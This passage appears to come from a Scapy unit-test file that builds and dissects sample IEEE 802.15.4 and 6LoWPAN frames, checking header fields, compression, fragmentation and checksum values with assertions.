Dot15d4FCS - Beacon (without pending addresses)\n\npkt = Dot15d4FCS(b'\\x00\\x80\\x89\\xaa\\x99\\x00\\x00\\xff\\xcf\\x00\\x00\\x00\"\\x84\\xfe\\xca\\xef\\xbe\\xed\\xfe\\xce\\xfa\\xff\\xff\\xff\\x00X\\xa4')\nassert Dot15d4FCS in pkt.layers()\nassert pkt[Dot15d4FCS].fcf_frametype == 0\nassert pkt[Dot15d4FCS].fcf_security == False\nassert pkt[Dot15d4FCS].fcf_pending == False\nassert pkt[Dot15d4FCS].fcf_ackreq == False\nassert pkt[Dot15d4FCS].fcf_panidcompress == False\nassert pkt[Dot15d4FCS].fcf_destaddrmode == 0\nassert pkt[Dot15d4FCS].fcf_framever == 0\nassert pkt[Dot15d4FCS].fcf_srcaddrmode == 2\nassert pkt[Dot15d4FCS].seqnum == 137\nassert Dot15d4Beacon in pkt.layers()\nassert pkt[Dot15d4Beacon].src_panid == 0x99aa\nassert pkt[Dot15d4Beacon].src_addr == 0x0000\nassert pkt[Dot15d4Beacon].sf_beaconorder == 15\nassert pkt[Dot15d4Beacon].sf_sforder == 15\nassert pkt[Dot15d4Beacon].sf_finalcapslot == 15\nassert pkt[Dot15d4Beacon].sf_battlifeextend == False\nassert pkt[Dot15d4Beacon].sf_pancoord == True\nassert pkt[Dot15d4Beacon].sf_assocpermit == True\nassert pkt[Dot15d4Beacon].gts_spec_permit == False\nassert pkt[Dot15d4Beacon].gts_spec_reserved == 0\nassert pkt[Dot15d4Beacon].gts_spec_desccount == 0\nassert pkt[Dot15d4Beacon].pa_num_short == 0\nassert pkt[Dot15d4Beacon].pa_num_long == 0\nassert pkt[Dot15d4Beacon].pa_short_addresses == []\nassert pkt[Dot15d4Beacon].pa_long_addresses == []\nassert raw(pkt[Dot15d4Beacon].payload) == b'\\x00\"\\x84\\xfe\\xca\\xef\\xbe\\xed\\xfe\\xce\\xfa\\xff\\xff\\xff\\x00'\nassert pkt[Dot15d4FCS].fcs == 0xa458\n\n= Dot15d4FCS - Beacon (with pending addresses)\n\npkt = Dot15d4FCS(b'\\x00\\x80\\x89\\xaa\\x99\\x00\\x00\\xff\\xcf\\x00\\x124\\x12xV\\x88wfUD3\"\\x11\\x00\"\\x84\\xfe\\xca\\xef\\xbe\\xed\\xfe\\xce\\xfa\\xff\\xff\\xff\\x00\\x96\\xd3')\nassert Dot15d4FCS in pkt.layers()\nassert pkt[Dot15d4FCS].fcf_frametype == 0\nassert pkt[Dot15d4FCS].fcf_security == False\nassert pkt[Dot15d4FCS].fcf_pending == False\nassert pkt[Dot15d4FCS].fcf_ackreq == False\nassert pkt[Dot15d4FCS].fcf_panidcompress == False\nassert pkt[Dot15d4FCS].fcf_destaddrmode == 0\nassert pkt[Dot15d4FCS].fcf_framever == 0\nassert pkt[Dot15d4FCS].fcf_srcaddrmode == 2\nassert pkt[Dot15d4FCS].seqnum == 137\nassert Dot15d4Beacon in pkt.layers()\nassert pkt[Dot15d4Beacon].src_panid == 0x99aa\nassert pkt[Dot15d4Beacon].src_addr == 0x0000\nassert pkt[Dot15d4Beacon].sf_beaconorder == 15\nassert pkt[Dot15d4Beacon].sf_sforder == 15\nassert pkt[Dot15d4Beacon].sf_finalcapslot == 15\nassert pkt[Dot15d4Beacon].sf_battlifeextend == False\nassert pkt[Dot15d4Beacon].sf_pancoord == True\nassert pkt[Dot15d4Beacon].sf_assocpermit == True\nassert pkt[Dot15d4Beacon].gts_spec_permit == False\nassert pkt[Dot15d4Beacon].gts_spec_reserved == 0\nassert pkt[Dot15d4Beacon].gts_spec_desccount == 0\nassert pkt[Dot15d4Beacon].pa_num_short == 2\nassert pkt[Dot15d4Beacon].pa_num_long == 1\nassert pkt[Dot15d4Beacon].pa_short_addresses == [0x1234, 0x5678]\nassert pkt[Dot15d4Beacon].pa_long_addresses == [0x1122334455667788]\nassert raw(pkt[Dot15d4Beacon].payload) == b'\\x00\"\\x84\\xfe\\xca\\xef\\xbe\\xed\\xfe\\xce\\xfa\\xff\\xff\\xff\\x00'\nassert pkt[Dot15d4FCS].fcs == 0xd396\n\n= Dot15d4FCS - Coordinator Realignment (without the channel page)\n\npkt = Dot15d4FCS(b'#\\xcc\\x89\\xff\\xff\\x88wfUD3\"\\x11\\xaa\\x99\\xff\\xee\\xdd\\xcc\\xbb\\xaa\\x99\\x88\\x08\\xaa\\x99\\xde\\xc0\\x14\\xad\\xde\\\\!')\nassert Dot15d4FCS in pkt.layers()\nassert pkt[Dot15d4FCS].fcf_frametype == 3\nassert pkt[Dot15d4FCS].fcf_security == False\nassert pkt[Dot15d4FCS].fcf_pending == False\nassert pkt[Dot15d4FCS].fcf_ackreq == True\nassert pkt[Dot15d4FCS].fcf_panidcompress == False\nassert pkt[Dot15d4FCS].fcf_destaddrmode == 3\nassert pkt[Dot15d4FCS].fcf_framever == 0\nassert pkt[Dot15d4FCS].fcf_srcaddrmode == 3\nassert pkt[Dot15d4FCS].seqnum == 137\nassert Dot15d4Cmd in pkt.layers()\nassert pkt[Dot15d4Cmd].dest_panid == 0xffff\nassert pkt[Dot15d4Cmd].dest_addr == 0x1122334455667788\nassert pkt[Dot15d4Cmd].src_panid == 0x99aa\nassert pkt[Dot15d4Cmd].src_addr == 0x8899aabbccddeeff\nassert pkt[Dot15d4Cmd].cmd_id == 0x08\nassert Dot15d4CmdCoordRealign in pkt.layers()\nassert pkt[Dot15d4CmdCoordRealign].panid == 0x99aa\nassert pkt[Dot15d4CmdCoordRealign].coord_address == 0xc0de\nassert pkt[Dot15d4CmdCoordRealign].channel == 20\nassert pkt[Dot15d4CmdCoordRealign].dev_address == 0xdead\nassert raw(pkt[Dot15d4CmdCoordRealign].payload) == b''\nassert pkt[Dot15d4FCS].fcs == 0x215c\n\n= Dot15d4FCS - Coordinator Realignment (with the channel page)\n\npkt = Dot15d4FCS(b'#\\xcc\\x89\\xff\\xff\\x88wfUD3\"\\x11\\xaa\\x99\\xff\\xee\\xdd\\xcc\\xbb\\xaa\\x99\\x88\\x08\\xaa\\x99\\xde\\xc0\\x14\\xad\\xde\\x00\\xc8\\x98')\nassert Dot15d4FCS in pkt.layers()\nassert pkt[Dot15d4FCS].fcf_frametype == 3\nassert pkt[Dot15d4FCS].fcf_security == False\nassert pkt[Dot15d4FCS].fcf_pending == False\nassert pkt[Dot15d4FCS].fcf_ackreq == True\nassert pkt[Dot15d4FCS].fcf_panidcompress == False\nassert pkt[Dot15d4FCS].fcf_destaddrmode == 3\nassert pkt[Dot15d4FCS].fcf_framever == 0\nassert pkt[Dot15d4FCS].fcf_srcaddrmode == 3\nassert pkt[Dot15d4FCS].seqnum == 137\nassert Dot15d4Cmd in pkt.layers()\nassert pkt[Dot15d4Cmd].dest_panid == 0xffff\nassert pkt[Dot15d4Cmd].dest_addr == 0x1122334455667788\nassert pkt[Dot15d4Cmd].src_panid == 0x99aa\nassert pkt[Dot15d4Cmd].src_addr == 0x8899aabbccddeeff\nassert pkt[Dot15d4Cmd].cmd_id == 0x08\nassert Dot15d4CmdCoordRealign in pkt.layers()\nassert pkt[Dot15d4CmdCoordRealign].panid == 0x99aa\nassert pkt[Dot15d4CmdCoordRealign].coord_address == 0xc0de\nassert pkt[Dot15d4CmdCoordRealign].channel == 20\nassert pkt[Dot15d4CmdCoordRealign].dev_address == 0xdead\nassert Dot15d4CmdCoordRealignPage in pkt.layers()\nassert pkt[Dot15d4CmdCoordRealignPage].channel_page == 0\nassert raw(pkt[Dot15d4CmdCoordRealignPage].payload) == b''\nassert pkt[Dot15d4FCS].fcs == 0x98c8\n\n###################\n#### SixLoWPAN ####\n###################\n\n+ SixLoWPAN tests\n\n= Set SixLoWPAN\n\nconf.dot15d4_protocol = \"sixlowpan\"\n\n= SixLoWPAN layers\n\n# a crazy packet with all classes in it!\npkt = SixLoWPAN()/LoWPANFragmentationFirst()/LoWPANFragmentationSubsequent()/LoWPANMesh()/LoWPANUncompressedIPv6()\nassert SixLoWPAN in pkt.layers()\nassert LoWPANFragmentationFirst in pkt.layers()\nassert LoWPANFragmentationSubsequent in pkt.layers()\nassert LoWPANMesh in pkt.layers()\nassert LoWPANUncompressedIPv6 in pkt.layers()\n\n= Default dissection\n\n# some sample packet extracted\n\nlowpan_frag_first = b'\\xc29\\x00\\x17`\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x02\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01 \\x02\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x11\"\\xff\\xfe3DU\\xc4\\xf9\\x00Pw\\x9b\\x18\\x9d\\x00\\x00\\x01\\xa2P\\x18\\x13X\\x08\\x10\\x00\\x00GET / HTTP/1.1\\r\\nHost: [aaaa::11:22ff'\nlowpan_frag_first_packet = SixLoWPAN(lowpan_frag_first)\n\nassert lowpan_frag_first_packet.load == b'\\xc4\\xf9\\x00Pw\\x9b\\x18\\x9d\\x00\\x00\\x01\\xa2P\\x18\\x13X\\x08\\x10\\x00\\x00GET / HTTP/1.1\\r\\nHost: [aaaa::11:22ff'\n\n= Frag second dissection\n\nlowpan_frag_second = b'\\xe29\\x00\\x17\\x0c`\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x02\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01 \\x02\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x11\"\\xff\\xfe3DUerer: http://[aaaa::11:22ff:fe33:4455]/sensor.shtml\\r\\nUse'\nlowpan_frag_sec_packet = SixLoWPAN(lowpan_frag_second)\n\nassert LoWPANFragmentationSubsequent in lowpan_frag_sec_packet\nassert lowpan_frag_sec_packet.datagramSize == 569\nassert lowpan_frag_sec_packet.datagramTag == 0x17\n\n= LoWPAN_IPHC dissections\n\nlowpan_iphc = b\"\\x78\\xf6\\x00\\x06\\x80\\x00\\x01\\x00\\x50\\xc4\\xf9\\x00\\x00\\x02\\x12\\x77\\x9b\\x1a\\x9a\\x50\\x18\\x04\\xc4\\x12\\xd5\\x00\\x00\\x3c\\x21\\x44\\x4f\\x43\\x54\\x59\\x50\\x45\\x20\\x48\\x54\\x4d\\x4c\\x20\\x50\\x55\\x42\\x4c\\x49\\x43\\x20\\x22\\x2d\\x2f\\x2f\\x57\\x33\\x43\\x2f\\x2f\\x44\\x54\\x44\\x20\\x48\\x54\\x4d\\x4c\\x20\\x34\\x2e\\x30\\x31\\x20\\x54\\x72\\x61\\x6e\\x73\\x69\\x74\\x69\\x6f\\x6e\\x61\\x6c\\x2f\\x2f\\x45\\x4e\\x22\\x20\\x22\\x68\\x74\\x74\\x70\"\nlowpan_frag_iphc = LoWPAN_IPHC(lowpan_iphc)\n\nassert IPv6 in lowpan_frag_iphc\nassert lowpan_frag_iphc.load == b'<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http'\n\np = LoWPAN_IPHC(tf=0x0, flowlabel=0x8, nhField=0x3a, hopLimit=64)/IPv6(dst=\"aaaa::11:22ff:fe33:4455\", src=\"aaaa::1\")/ICMPv6EchoRequest()\np = LoWPAN_IPHC(raw(p))\nassert ICMPv6EchoRequest in p\nassert p.dst == \"aaaa::11:22ff:fe33:4455\"\n\nq = LoWPAN_IPHC(tf=0x0)\nassert raw(q) == b'`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= LoWPAN_IPHC - M=1, DAC=1, DAM=0\n\np = Dot15d4(b'a\\x88\\x10\"\\x00\\x13\\x00\\x16Pw\\x9cB\\xe6\\x87`\\x12\\xe1\\x08~\\x04\\x08\\x00\\x00\\x00\\xf0Q\\xc7\\x1bX\\x9e\\xf3\\x00\\x00\\x00\\x1c\\xfa\\xfa\\xfa\\xfa\\xe7k')\n\nassert p.m == 1\nassert p.dac == 1\nassert p.dam == 0\nassert p.dst == \"ff00::f0:51c7\"\n\np = Dot15d4(raw(p))\nassert p.dst == \"ff00::f0:51c7\"\n\nassert raw(p) == b'a\\x88\\x10\"\\x00\\x13\\x00\\x16Pw\\x9cB\\xe6\\x87`\\x12\\xe1\\x08~\\x04\\x08\\x00\\x00\\x00\\xf0Q\\xc7\\x1bX\\x9e\\xf3\\x00\\x00\\x00\\x1c\\xfa\\xfa\\xfa\\xfa\\xe7k'\n\n= LoWPAN_NHC - NHC_UDP\n\np = Dot15d4(b'A\\x88\\x00\"\\x00\\xff\\xff\\x13\\x00};\\x01\\xf0\\xda\\xc9\\xda\\xc9\\x85\\x80\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf2\\xeb')\n\nassert LoWPAN_NHC in p\nassert p[LoWPAN_NHC].exts[0].udpSourcePort == 56009\nassert p[LoWPAN_NHC].exts[0].udpDestPort == 56009\nassert p[LoWPAN_NHC].exts[0].udpChecksum == 0x8580\nassert p[UDP].sport == 56009\nassert p[UDP].dport == 56009\n\np.clear_cache()\n\nassert raw(p) == b'A\\x88\\x00\"\\x00\\xff\\xff\\x13\\x00};\\x01\\xf0\\xda\\xc9\\xda\\xc9\\x85\\x80\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf2\\xeb'\n\n= LoWPAN_NHC - compute UDP NHC_UDP\n\np = Dot15d4()/Dot15d4Data()/LoWPAN_IPHC()/LoWPAN_NHC()/IPv6()/UDP(sport=61618, dport=61621)\nassert raw(p) == b'\\x01\\x08\\x01\\xff\\xff\\xff\\xffd\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xf3%\\x1et'\n\nassert p.exts[0].udpSourcePort == 2\nassert p.exts[0].udpDestPort == 5\nassert p.exts[0].udpChecksum == 0x1e74\n\n= LoWPAN_NHC - NHC_IPv6Ext\n\np = Dot15d4(b'a\\x88\\x07\"\\x00\\x16\\x00\\x13\\x00|f\\x10\\x00\\x13\\x00\\x12\\xe1\\x08~\\x04\\n\\x00\\x00\\x00\\xf0Q\\xc7\\x1bX\\x9f\\t\\x00\\x00\\x00\\t\\xfa\\xfa\\xfa\\xfa\\xf0\\xeb')\n\nassert LoWPAN_NHC in p\nassert p[LoWPAN_NHC].exts[0].eid == 0\nassert p[LoWPAN_NHC].exts[0].len == 8\nassert p[LoWPAN_NHC].exts[0].data == b'~\\x04\\n\\x00\\x00\\x00\\xf0Q'\n\n= LoWPAN_HC1 dissection & build\n\ndat = b'\\x00\"\\x19\\x100\\xe5\\x00\\x1c\\xda\\x00\\x00\\x01\\x08\\x00E\\x00\\x00m\\xc7\\xf3\\x00\\x00@\\x11W\\x0f\\xac\\x10\\x02)\\xac\\x10\\x014EZEZ\\x00Y\\x8f\\xaaEX\\x02\\x01\\x00\\x00\\x01\\x01\\xff\\x00\\x0c\\xd14\\x7f\\xc1H4\\x00\\x05\\xc68\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x001A\\xcc\\xa5\\xff\\xff\\x8a\\x18\\x00\\xff\\xff\\xda\\x1c\\x00\\x88\\x18\\x00\\xff\\xff\\xda\\x1c\\x00B\\xfb`@\\x04\\x01\\x1f\\x88\\xc0Hello 005 0x626B\\n\\xa5\\x0b'\np = Ether(dat)\np.clear_cache()\n\nassert p[LoWPAN_HC1].src == p[IPv6].src == 'fe80::21c:daff:ff00:1888'\nassert p[LoWPAN_HC1].dst == p[IPv6].dst == 'fe80::21c:daff:ff00:188a'\nassert p[LoWPAN_HC1].hopLimit == p[IPv6].hlim == 64\nassert p[LoWPAN_HC1].hc2Field.sc == 0\nassert p[LoWPAN_HC1].hc2Field.dc == 1\nassert p[LoWPAN_HC1].hc2Field.lc == 1\nassert p[IPv6].nh == socket.IPPROTO_UDP\nassert p[LoWPAN_HC1].udpSourcePort == p.getlayer(UDP, 2).sport == 1025\nassert p[LoWPAN_HC1].udpDestPort == p.getlayer(UDP, 2).dport == 61617\nassert p[LoWPAN_HC1].udpChecksum == p.getlayer(UDP, 2).chksum == 0xf88c\nassert p.getlayer(UDP, 2).len == 27\n\nassert raw(p) == dat\n\n= LoWPAN_HC1 build from scratch\n\na = Dot15d4()/Dot15d4Data()/LoWPAN_HC1()/IPv6()/UDP()\nassert raw(a) == b'\\x01\\x08\\x01\\xff\\xff\\xff\\xffB\\x03\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x03P\\x03P\\x00\\x8f\\xf7 '\n\na = Dot15d4(raw(a))\nassert a[LoWPAN_HC1].nh == 1\nassert a[LoWPAN_HC1].hc2 == 1\nassert a[LoWPAN_HC1].udpDestPort\nassert a[LoWPAN_HC1].udpSourcePort\n\n= Advanced packets - dissection & FCS computation\n\n# SAMPLE PACKETSS!!! IEEE 802.15.4 containing\n\nieee802_firstfrag = b\"\\x41\\xcc\\xa3\\xcd\\xab\\x16\\x15\\x14\\xfe\\xff\\x13\\x12\\x02\\x55\\x44\\x33\\xfe\\xff\\x22\\x11\\x02\\xc3\\x42\\x00\\x23\\x78\\xf6\\x00\\x06\\x80\\x00\\x01\\x00\\x50\\xc4\\xf9\\x00\\x00\\x02\\x12\\x77\\x9b\\x1a\\x9a\\x50\\x18\\x04\\xc4\\x12\\xd5\\x00\\x00\\x3c\\x21\\x44\\x4f\\x43\\x54\\x59\\x50\\x45\\x20\\x48\\x54\\x4d\\x4c\\x20\\x50\\x55\\x42\\x4c\\x49\\x43\\x20\\x22\\x2d\\x2f\\x2f\\x57\\x33\\x43\\x2f\\x2f\\x44\\x54\\x44\\x20\\x48\\x54\\x4d\\x4c\\x20\\x34\\x2e\\x30\\x31\\x20\\x54\\x72\\x61\\x6e\\x73\\x69\\x74\\x69\\x6f\\x6e\\x61\\x6c\\x2f\\x2f\\x45\\x4e\\x22\\x20\\x22\\x68\\x74\\x74\\x70\\x39\\xb5\"\nieee = Dot15d4FCS(ieee802_firstfrag)\nieee.show()\nassert ieee.fcs == 0xb539\n\ndel ieee.fcs\nieee = Dot15d4FCS(raw(ieee))\nassert ieee.fcs == 0xb539\n\n\nieee802_secfrag = b\"\\x41\\xcc\\x4d\\xcd\\xab\\x55\\x44\\x33\\xfe\\xff\\x22\\x11\\x02\\x16\\x15\\x14\\xfe\\xff\\x13\\x12\\x02\\xe2\\x39\\x00\\x17\\x10\\x69\\x76\\x65\\x0d\\x0a\\x52\\x65\\x66\\x65\\x72\\x65\\x72\\x3a\\x20\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x5b\\x61\\x61\\x61\\x61\\x3a\\x3a\\x31\\x31\\x3a\\x32\\x32\\x66\\x66\\x3a\\x66\\x65\\x33\\x33\\x3a\\x34\\x34\\x35\\x35\\x5d\\x2f\\x73\\x65\\x6e\\x73\\x6f\\x72\\x2e\\x73\\x68\\x74\\x6d\\x6c\\x0d\\x0a\\x55\\x73\\x65\\x72\\x2d\\x41\\x67\\x65\\x6e\\x74\\x3a\\x20\\x4d\\x6f\\x7a\\x69\\x6c\\x6c\\x61\\x2f\\x35\\x2e\\x30\\x20\\x28\\x58\\x31\\x31\\x3b\\x20\\x55\\x3b\\x20\\x4c\\x69\\x66\\xac\"\nieee = Dot15d4FCS(ieee802_secfrag)\nieee.show()\nassert ieee.fcs == 0xac66\n\ndel ieee.fcs\nieee = Dot15d4FCS(raw(ieee))\nassert ieee.fcs == 0xac66\n\nieee802_iphc = b\"\\x41\\xcc\\xb5\\xcd\\xab\\x16\\x15\\x14\\xfe\\xff\\x13\\x12\\x02\\x55\\x44\\x33\\xfe\\xff\\x22\\x11\\x02\\x78\\xf6\\x00\\x06\\x80\\x00\\x01\\x00\\x50\\xc4\\xfa\\x00\\x00\\x01\\xf7\\x89\\xf3\\x02\\x5f\\x50\\x18\\x04\\xc4\\x48\\x28\\x00\\x00\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x74\\x79\\x70\\x65\\x3a\\x20\\x74\\x65\\x78\\x74\\x2f\\x63\\x73\\x73\\x0d\\x0a\\x0d\\x0a\\xc1\\x16\"\nieee = Dot15d4FCS(ieee802_iphc)\nieee.show()\nassert ieee.fcs == 0x16c1\n\nassert ieee[LoWPAN_IPHC].dst == '::1'\n\ndel ieee.fcs\nieee = Dot15d4FCS(raw(ieee))\nassert ieee.fcs == 0x16c1\n\n= Dot15d4AuxSecurityHeader - build & dissect\n\np = Dot15d4AuxSecurityHeader(b\"\\x04\\x05\\x00\\x00\\x00\")\nassert p.sec_sc_keyidmode == 0\nassert p.sec_sc_seclevel == 4\n\np = Dot15d4AuxSecurityHeader(b\"\\x18\\x05\\x00\\x00\\x00\\xff\\xee\\xdd\\xcc\\xbb\\xaa\\x00\\x99\\x88\\x77\")\nassert p.sec_sc_keyidmode == 3\nassert p.sec_keyid_keysource == 11024999611375677183\n\n# RPL: unimplemented\n#p = SixLoWPAN(b\"\\x7b\\x3b\\x3a\\x1a\\x9b\\x02\\xae\\x30\\x21\\x00\\x00\\xef\\x05\\x12\\x00\\x80\\x20\\x02\\x0d\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x33\\x44\\x09\\x04\\x00\\x00\\x00\\x00\\x06\\x04\\x00\\x01\\xef\\xff\")\n#p.show2()\n\n= Fragmentate packet & defragmentate\n\nipv6p = b\"\\x60\\x00\\x00\\x00\\x02\\x11\\x06\\x80\\x20\\x02\\x0d\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x01\\x20\\x02\\x0d\\xb8\\x00\\x00\\x00\\x00\\x00\\x11\\x22\\xff\\xfe\\x33\\x44\\x55\"\ntcpp = b\"\\xc4\\xf9\\x00\\x50\\x77\\x9b\\x18\\x9d\\x00\\x00\\x01\\xa2\\x50\\x18\\x13\\x58\\x08\\x10\\x00\\x00\"\nhttpp = b\"\\x47\\x45\\x54\\x20\\x2f\\x20\\x48\\x54\\x54\\x50\\x2f\\x31\\x2e\\x31\\x0d\\x0a\\x48\\x6f\\x73\\x74\\x3a\\x20\\x5b\\x61\\x61\\x61\\x61\\x3a\\x3a\\x31\\x31\\x3a\\x32\\x32\\x66\\x66\\x3a\\x66\\x65\\x33\\x33\\x3a\\x34\\x34\\x35\\x35\\x5d\\x0d\\x0a\\x43\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x69\\x6f\\x6e\\x3a\\x20\\x6b\\x65\\x65\\x70\\x2d\\x61\\x6c\\x69\\x76\\x65\\x0d\\x0a\\x52\\x65\\x66\\x65\\x72\\x65\\x72\\x3a\\x20\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x5b\\x61\\x61\\x61\\x61\\x3a\\x3a\\x31\\x31\\x3a\\x32\\x32\\x66\\x66\\x3a\\x66\\x65\\x33\\x33\\x3a\\x34\\x34\\x35\\x35\\x5d\\x2f\\x73\\x65\\x6e\\x73\\x6f\\x72\\x2e\\x73\\x68\\x74\\x6d\\x6c\\x0d\\x0a\\x55\\x73\\x65\\x72\\x2d\\x41\\x67\\x65\\x6e\\x74\\x3a\\x20\\x4d\\x6f\\x7a\\x69\\x6c\\x6c\\x61\\x2f\\x35\\x2e\\x30\\x20\\x28\\x58\\x31\\x31\\x3b\\x20\\x55\\x3b\\x20\\x4c\\x69\\x6e\\x75\\x78\\x20\\x69\\x36\\x38\\x36\\x3b\\x20\\x65\\x6e\\x2d\\x55\\x53\\x29\\x20\\x41\\x70\\x70\\x6c\\x65\\x57\\x65\\x62\\x4b\\x69\\x74\\x2f\\x35\\x33\\x34\\x2e\\x31\\x36\\x20\\x28\\x4b\\x48\\x54\\x4d\\x4c\\x2c\\x20\\x6c\\x69\\x6b\\x65\\x20\\x47\\x65\\x63\\x6b\\x6f\\x29\\x20\\x55\\x62\\x75\\x6e\\x74\\x75\\x2f\\x31\\x30\\x2e\\x31\\x30\\x20\\x43\\x68\\x72\\x6f\\x6d\\x69\\x75\\x6d\\x2f\\x31\\x30\\x2e\\x30\\x2e\\x36\\x34\\x38\\x2e\\x31\\x33\\x33\\x20\\x43\\x68\\x72\\x6f\\x6d\\x65\\x2f\\x31\\x30\\x2e\\x30\\x2e\\x36\\x34\\x38\\x2e\\x31\\x33\\x33\\x20\\x53\\x61\\x66\\x61\\x72\\x69\\x2f\\x35\\x33\\x34\\x2e\\x31\\x36\\x0d\\x0a\\x41\\x63\\x63\\x65\\x70\\x74\\x3a\\x20\\x61\\x70\\x70\\x6c\\x69\\x63\\x61\\x74\\x69\\x6f\\x6e\\x2f\\x78\\x6d\\x6c\\x2c\\x61\\x70\\x70\\x6c\\x69\\x63\\x61\\x74\\x69\\x6f\\x6e\\x2f\\x78\\x68\\x74\\x6d\\x6c\\x2b\\x78\\x6d\\x6c\\x2c\\x74\\x65\\x78\\x74\\x2f\\x68\\x74\\x6d\\x6c\\x3b\\x71\\x3d\\x30\\x2e\\x39\\x2c\\x74\\x65\\x78\\x74\\x2f\\x70\\x6c\\x61\\x69\\x6e\\x3b\\x71\\x3d\\x30\\x2e\\x38\\x2c\\x69\\x6d\\x61\\x67\\x65\\x2f\\x70\\x6e\\x67\\x2c\\x2a\\x2f\\x2a\\x3b\\x71\\x3d\\x30\\x2e\\x35\\x0d\\x0a\\x41\\x63\\x63\\x65\\x70\\x74\\x2d\\x45\\x6e\\x63\\x6f\\x64\\x69\\x6e\\x67\\x3a\\x20\\x67\\x7a\\x69\\x70\\x2c\\x64\\x65\\x66\\x6c\\x61\\x74\\x65\\x2c\\x73\\x64\\x63\\x68\\x0d\\x0a\\x41\\x63\\x63\\x65\\x70\\x74\\x2d\\x4c\\x61\\x6e\\x67\\x75\\x61\\x67\\x65\\x3a\\x20\\x65\\x6e\\x2d\\x55\\x53\\x2c\\x65\\x6e\\x3b\\x71\\x3d\\x30\\x2e\\x38\\x0d\\x0a\\x41\\x63\\x63\\x65\\x70\\x74\\x2d\\x43\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x20\\x49\\x53\\x4f\\x2d\\x38\\x38\\x35\\x39\\x2d\\x31\\x2c\\x75\\x74\\x66\\x2d\\x38\\x3b\\x71\\x3d\\x30\\x2e\\x37\\x2c\\x2a\\x3b\\x71\\x3d\\x30\\x2e\\x33\\x0d\\x0a\\x0d\\x0a\"\nipv6_tcp_http = IPv6(ipv6p + tcpp + httpp)\npkt = sixlowpan_fragment(ipv6_tcp_http, 0x17)\n\nassert len(pkt) == 6\nassert isinstance(pkt[0], LoWPANFragmentationFirst)\nassert all(isinstance(x, LoWPANFragmentationSubsequent) for x in pkt[1:])\n\nipv6 = sixlowpan_defragment(pkt)[0x17]\nassert TCP in ipv6\nassert raw(ipv6_tcp_http) == raw(ipv6)\n\n= Mesh Header.\n# DOESN'T WORK! (In wireshark it reports, malformed packet)\n\n######## TODO ########\n\n#packet = SixLoWPAN(b\"\\x83\\x00\\x0a\\x00\\xff\\x0a\\x11\\x78\\x04\\x00\\x28\\x00\\x00\\x00\\x80\\x00\")\n#packet.show2()\n\n= SixLoWPAN - Advanced 1\n\npacket = LoWPAN_IPHC(b\"\\x7b\\x49\\x3a\\x02\\x01\\xff\\x02\\x02\\x02\\x87\\x00\\x02\\x0b\\x00\\x00\\x00\\x00\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x12\\x74\\x02\\x00\\x02\\x02\\x02\")\nassert packet.nhField == 0x3a\nassert packet.src == \"::\"\nassert packet.dst == \"ff02::1:ff02:202\"\n\n= SixLoWPAN - Advanced 2\n\npacket = SixLoWPAN(b\"\\x7b\\x49\\x3a\\x02\\x01\\xff\\x01\\x01\\x01\\x87\\x00\\x57\\xe6\\x00\\x00\\x00\\x00\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x12\\x74\\x01\\x00\\x01\\x01\\x01\")\nassert packet.nhField == 0x3a\nassert packet.src == \"::\"\nassert packet.dst == \"ff02::1:ff01:101\"\n\n= SixLoWPAN - Advanced 3\n\npacket = Ether()/IP()/UDP()/ZEP2()/Dot15d4(fcf_srcaddrmode=2)/Dot15d4Data(src_addr=0x0)/b\"\\x7b\\x33\\x3a\\x88\\x00\\x3c\\xb9\\x60\\x00\\x00\\x00\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x12\\x74\\x02\\x00\\x02\\x02\\x02\\x02\\x02\\x00\\x12\\x74\\x02\\x00\\x02\\x02\\x02\\x00\\x00\\x00\\x00\\x00\\x00\"\npacket = Ether(raw(packet))\npacket.show2()\nassert packet[LoWPAN_IPHC].src == 'fe80::ff:fe00:0'\nassert packet[LoWPAN_IPHC].dst == 'fe80::ff:fe00:ffff'\n\n= SixLoWPAN - Advanced 4 - SAM=3/SAC=0 decompression\n\npacket = 